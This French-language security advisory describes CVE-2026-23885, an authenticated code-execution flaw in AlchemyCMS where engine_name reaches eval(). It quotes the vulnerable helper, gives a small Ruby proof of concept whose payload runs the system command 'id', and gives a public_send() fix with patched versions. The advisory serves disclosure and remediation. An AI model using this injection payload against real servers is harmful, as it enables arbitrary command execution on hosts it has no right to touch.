
Preuve de concept d'exploitation pour CVE-2026-23885, une RCE authentifiée dans AlchemyCMS via injection eval(), avec analyse technique et recommandations de remédiation.
Une vulnérabilité de sécurité critique impliquant une neutralisation incorrecte des directives dans du code évalué dynamiquement (CWE-95) a été découverte dans le framework AlchemyCMS. Cette vulnérabilité permet à un utilisateur authentifié disposant de privilèges administratifs d'exécuter du code Ruby arbitraire et des commandes système sur le serveur hôte via un point d'injection eval().
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyLa méthode d'assistance traite de manière non sécurisée l'attribut engine_name de l'objet resource_handler. Cet attribut est transmis directement à la fonction Ruby eval() sans assainissement ni validation préalable.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
La présence de la directive # rubocop:disable Security/Eval confirme que les implications de sécurité liées à l'utilisation de eval() ont été reconnues mais contournées lors de l'implémentation.
3. Preuve de concept (PoC)
Vecteur d'attaque
La vulnérabilité est déclenchée dans l'interface administrative d'AlchemyCMS lors du rendu des vues basées sur les ressources (par exemple, Sites ou Languages). Si un attaquant parvient à manipuler la configuration du module ou les données de ressources sous-jacentes, il peut parvenir à une exécution.
Script d'exploitation autonome
Le script suivant démontre l'exécution de code arbitraire en simulant l'environnement de la méthode d'assistance vulnérable :
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload : exécute la commande système 'id' et crée un fichier de preuve
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Preuve d'exécution
Lors de l'exécution, la commande système est traitée, accordant à l'attaquant un accès à l'environnement du serveur.

Intégrité : Élevée. Capacité à modifier des fichiers et des enregistrements de base de données.
Disponibilité : Élevée. Risque de perturbation complète du système.
Identifiant CVE : CVE-2026-23885
7.4.12
8.0.3
Le correctif consiste à remplacer l'appel à eval() par public_send() afin d'acheminer de manière sécurisée les requêtes vers le proxy de moteur prévu :
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
Référence CVE : CVE-2026-23885